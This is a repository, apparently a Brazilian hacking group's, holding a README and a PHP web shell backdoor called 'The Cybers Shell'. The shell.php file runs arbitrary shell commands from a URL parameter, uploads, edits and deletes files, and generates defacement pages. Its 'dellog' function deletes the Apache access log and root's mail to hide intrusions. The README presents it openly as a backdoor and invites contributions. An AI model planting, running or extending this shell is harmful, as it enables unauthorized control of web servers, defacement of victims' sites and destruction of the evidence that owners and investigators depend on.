├── README.md
└── shell.php
/README.md:
--------------------------------------------------------------------------------
1 | # Web Shell Backdoor
2 | Seja bem vindo!
3 |
4 | Para acessar a shell execute os seguintes comandos no terminal em alguma pasta do seu computador:
5 |
6 | git clone https://github.com/TheCybersTeam/Shell.git
7 | cd Shell
8 | sudo php -S localhost:666
9 |
10 | Depois acesse no navegador:
11 | localhost/shell.php
12 |
13 | Para contribuir em nosso projeto faça um fork para seu repositorio, adicione novas funções e de um pull request para nosso repositorio!
14 | Regras: Proibido copiar código da internet e colar dentro da shell, faça seu código legivel, com variaveis em português e evite usar abreviações para não confundir outras pessoas. Evite criar formatações css dentro de tags html para não poluir o código, e tenha uma boa semântica!
15 |
16 |
17 |
--------------------------------------------------------------------------------
/shell.php:
--------------------------------------------------------------------------------
1 |
67 |
68 |
69 |
70 |
71 |
72 | The Cybers Shell [v1.0]
73 |
74 |
143 |
144 |
145 |
146 |
333 |
334 |
335 |
336 | Kernel: ".php_uname('r')."
337 | Machine: ".php_uname('m')."
338 | Os: ".php_uname('n')."
339 | Ip: ";echo $_SERVER[REMOTE_ADDR];echo"
340 | Host: ";echo $_SERVER[HTTP_HOST];echo "
341 | Data: ".date(d)."/".date(m)."/".date(Y)."
342 | Hora: ".date(H).":".date(i).":".date(s)."
343 | Software: "; echo $_SERVER[SERVER_SOFTWARE];echo"
344 |
345 |
346 |
347 |
348 |
354 |
355 |
356 |
357 |
358 | Kernel: ".php_uname('r')."
359 | Machine: ".php_uname('m')."
360 | Os: ".php_uname('n')."
361 | Ip: ";echo $_SERVER[REMOTE_ADDR];echo"
362 | Host: ";echo $_SERVER[HTTP_HOST];echo "
363 | Data: ".date(d)."/".date(m)."/".date(Y)."
364 | Hora: ".date(H).":".date(i).":".date(s)."
365 | Software: "; echo $_SERVER[SERVER_SOFTWARE];echo"
366 |
367 |
368 |
369 |
370 | ";
371 |
372 | echo "
373 |
374 |
386 |
387 | ";
388 |
389 | // Ações POST e GET ==================================================
390 | // Esta parte irá executar funções de acordo com os parametros passados via get ou post e também chamar as paginas internas do painel
391 |
392 | // Chama função e Renomeia o arquivo
393 | if($renomear = $_POST['renomear'] and $pasta = $_POST['pasta'] and $antigo = $_POST['antigo']){
394 | renomea_arquivo($renomear, $antigo, $pasta);
395 | }
396 |
397 | // Chama função que altera o conteúdo de um arquivo, seja para criar ou editar.
398 | if($salvar = $_POST['salvar'] and $arquivo = $_POST['arquivo']){
399 | salvar($salvar,$arquivo);
400 | echo "Arquivo salvo!";
401 | }
402 | if($editar = $_GET['editar']){
403 | editar($editar);
404 | }
405 | if($deletar = $_GET['deletar']){
406 | deletar($deletar);
407 | }
408 | if($upar = $_FILES['upload']){
409 | upload($upar, $diretorio);
410 | }
411 | if($criar = $_POST['criar'] and $nome = $_POST['nome']){
412 | salvar($criar, "$diretorio/$nome");
413 | echo "Arquivo criado!";
414 | }
415 | if($novo = $_GET['novo']){
416 | criar($novo);
417 | }
418 | if($deface = $_GET['deface']){
419 | deface($deface);
420 | }
421 | if($menu = $_GET['menu']){
422 | if($menu == "comandos"){
423 | executar($diretorio);
424 | exit();
425 | }
426 | }
427 |
428 | $page = $_GET['pag'];
429 |
430 | if($page == 'lookup'){
431 | echo "
432 |
433 |
434 |
435 |
436 |
442 |
443 | ";
444 | if($host = $_GET['host']){
445 | reverse($host);
446 | }
447 | echo"
448 |
449 |
450 | ";
451 | }
452 |
453 | else if($page == 'comandos'){
454 |
455 | echo "
456 |
457 |
458 |
459 | ";
460 | if($cmd = $_GET['cmd']){
461 | cmd($cmd, $diretorio);
462 | }
463 | executar();
464 | echo"
465 |
466 |
467 | ";
468 | }
469 |
470 | else if($page == 'info'){
471 |
472 | echo "
473 |
478 | ";
479 | }
480 | else if($page == 'renomear'){
481 | $arquivo = $_GET['arquivo'] and $dir = $_GET['pasta'];
482 | renomear($arquivo, $dir);
483 | }
484 |
485 | else if($page == 'whois'){
486 | echo "
487 |
488 |
489 |
490 | ";whois();echo"
491 |
492 |
493 | ";
494 | }
495 |
496 | else if($page == 'dellog'){
497 | echo "
498 |
499 |
500 |
501 | ";dellog();echo"
502 |
503 |
504 | ";
505 | }
506 |
507 |
508 | else{
509 | listar($diretorio);
510 | }
511 | echo "The Cybers Team 2016 ";
512 | }
513 |
514 |
515 | // mostra formulario de login
516 | function login(){
517 | echo "
518 |
527 | ";
528 | }
529 |
530 | // Mostra os dominios que estão no mesmo ip
531 | function reverse($host){
532 | $ch = curl_init("http://domains.yougetsignal.com/domains.php");
533 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
534 | curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$host");
535 | curl_setopt($ch, CURLOPT_HEADER, 0);
536 | curl_setopt($ch, CURLOPT_POST, 1);
537 | $json = curl_exec($ch);
538 | $array = get_object_vars(json_decode($json));
539 | echo "";
540 | echo "Total: $array[domainCount] ";
541 | echo "Host: $array[remoteAddress] ";
542 | echo "Ip: $array[remoteIpAddress] ";
543 | echo " ";
544 | echo "";
545 | foreach($array[domainArray] as $dominio){
546 | echo "$dominio[0] ";
547 | }
548 | echo "
";
549 | }
550 |
551 | // Pega as permissões de arquivos e diretorios
552 | // Mais informações: https://secure.php.net/manual/pt_BR/function.fileperms.php
553 | function permissao($arquivo){
554 | $perms = fileperms($arquivo);
555 | if(($perms&0xC000)==0xC000)$info='s';
556 | elseif(($perms&0xA000)==0xA000)$info='l';
557 | elseif(($perms&0x8000)==0x8000)$info='-';
558 | elseif(($perms&0x6000)==0x6000)$info='b';
559 | elseif(($perms&0x4000)==0x4000)$info='d';
560 | elseif(($perms&0x2000)==0x2000)$info='c';
561 | elseif(($perms&0x1000)==0x1000)$info='p';
562 | else $info='u';
563 | $info.=($perms&0x0100)?'r':'-';
564 | $info.=($perms&0x0080)?'w':'-';
565 | $info.=($perms&0x0040)?(($perms&0x0800)?'s':'x'):(($perms&0x0800)?'S':'-');
566 | $info.=($perms&0x0020)?'r':'-';
567 | $info.=($perms&0x0010)?'w':'-';
568 | $info.=($perms&0x0008)?(($perms&0x0400)?'s':'x'):(($perms&0x0400)?'S':'-');
569 | $info.=($perms&0x0004)?'r':'-';
570 | $info.=($perms&0x0002)?'w':'-';
571 | $info.=($perms&0x0001)?(($perms&0x0200)?'t':'x'):(($perms&0x0200)?'T':'-');
572 | return $info;
573 | }
574 |
575 | // Retorna o caminho do diretorio anterior
576 | function anterior($dir){
577 | $dir = explode("/",$dir);
578 | unset($dir[count($dir)-1]);
579 | if($dir[1] == ""){
580 | $dir[0] = "/";
581 | }
582 | return implode("/",$dir);
583 | }
584 |
585 | // Monta tabela para listar todos arquivos do diretorio com as opções de ação
586 | function listar($dir){
587 | $anterior = anterior($dir);
588 | echo "
589 |
639 |
640 |
641 | ";acao();echo"
642 |
643 |
644 | ";upar($diretorio);echo"
645 |
646 |
647 | ";
648 | }
649 |
650 | // Função que abre um arquivo para download
651 | function download($arquivo){
652 |
653 | header('Content-Type: application/octet-stream');
654 | header('Content-Length: '.filesize($arquivo));
655 | header('Content-Disposition: filename='.$arquivo);
656 | readfile($arquivo);
657 | exit();
658 | }
659 |
660 | // Mostra formulario html para editar um arquivo
661 | function editar($editar){
662 | echo "";
673 | exit();
674 | }
675 |
676 | // Mostra formulario html para renomear um arquivo
677 | function renomear($arquivo, $dir){
678 | echo"
679 |
695 | ";
696 |
697 | exit();
698 | }
699 |
700 | // Chama função para renomear arquivo
701 | function renomea_arquivo($novo, $antigo, $dir){
702 | rename("$dir/$antigo", "$dir/$novo");
703 | echo "Arquivo renomeado!";
704 | }
705 |
706 | // Mostra formulario html para criar um arquivo
707 | function criar($diretorio){
708 | echo "";
709 | $arq = file($editar);
710 | echo "Nome do arquivo: ";
711 | echo " ";
712 | echo " ";
713 | echo "Conteudo: ";
714 | echo "";
715 | foreach($arq as $linha){
716 | echo htmlspecialchars($linha);
717 | }
718 | echo " ";
719 | echo " ";
720 | echo " ";
721 | echo " ";
722 | exit();
723 | }
724 |
725 | // Função para criar uma index para deface automatica
726 | function deface($diretorio){
727 | echo "";
728 | $arq = file($editar);
729 | echo "Nome da team: ";
730 | echo " ";
731 |
732 | echo "Greatz: ";
733 | echo " ";
734 |
735 | echo " ";
736 | echo "Mensagem: ";
737 | echo "";
738 | echo " ";
739 | echo " ";
740 | echo " ";
741 | echo " ";
742 | exit();
743 | }
744 |
745 | // Função que altera o conteúdo de um arquivo
746 | function salvar($dados, $arquivo){
747 | $fp = fopen($arquivo, "w");
748 | fwrite($fp,$dados);
749 | fclose($fp);
750 | }
751 |
752 | // função que remove um arquivo
753 | function deletar($arquivo){
754 | unlink($arquivo);
755 | echo "Arquivo deletado!";
756 | }
757 |
758 | // Função para ação em massa de todos arquivos e diretorios selecionados
759 | function acao(){
760 | echo "
761 |
762 | Selecionados:
763 |
764 | --
765 | Deletar
766 |
767 |
768 |
769 | ";
770 | }
771 |
772 | // Mostra formulario html para upload de arquivo
773 | function upar($diretorio){
774 | echo "
775 |
776 |
777 | Upload de arquivos:
778 |
779 |
780 |
781 |
782 |
783 | ";
784 |
785 | }
786 |
787 |
788 | // Função que faz o upload do arquivo
789 | function upload($arquivo, $diretorio){
790 | if(move_uploaded_file($arquivo['tmp_name'],"$diretorio/$arquivo[name]")){
791 | echo "Upado com sucesso! :D";
792 | }
793 | }
794 |
795 | // Mostra formulario html para alterar o diretorio atual na listagem de arquivos
796 | function navegar($diretorio){
797 | echo "
798 |
799 |
800 |
801 | ";
802 |
803 | }
804 |
805 | // Formulario html para executar algum comando no linux
806 | function executar($diretorio){
807 | echo "
808 |
809 |
810 |
811 |
812 |
813 | ";
814 |
815 | }
816 |
817 | // Executa o comando no linux e printa o resultado
818 | function cmd($cmd, $diretorio){
819 | $p = popen("($cmd)2>&1","r");
820 | while(!feof($p)){
821 | echo fgets($p,1000)." ";
822 | }
823 | }
824 |
825 | // Função que exibe um formulario e mostra o whois de um dominio
826 | function whois(){
827 | echo "
828 |
829 | Dominio:
830 |
831 |
832 | ";
833 | $dominio = $_POST['nomedominio'];
834 | $nomedominio = $dominio."\r\n";
835 | $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
836 | socket_getpeername($socket, $dominio);
837 | socket_connect($socket, '200.160.2.3', 43);
838 | socket_write($socket, $nomedominio, strlen($nomedominio));
839 | $resultado = socket_read($socket, 1024);
840 | echo $resultado;
841 | }
842 |
843 | // Função para deletar os logs do linux
844 | function dellog(){
845 | system("rm -fr /var/log/apache2/access.log");
846 | system("rm -fr /var/mail/root");
847 | echo "Log deletado!";
848 | }
849 | ?>
850 |
851 |
852 |
853 |
--------------------------------------------------------------------------------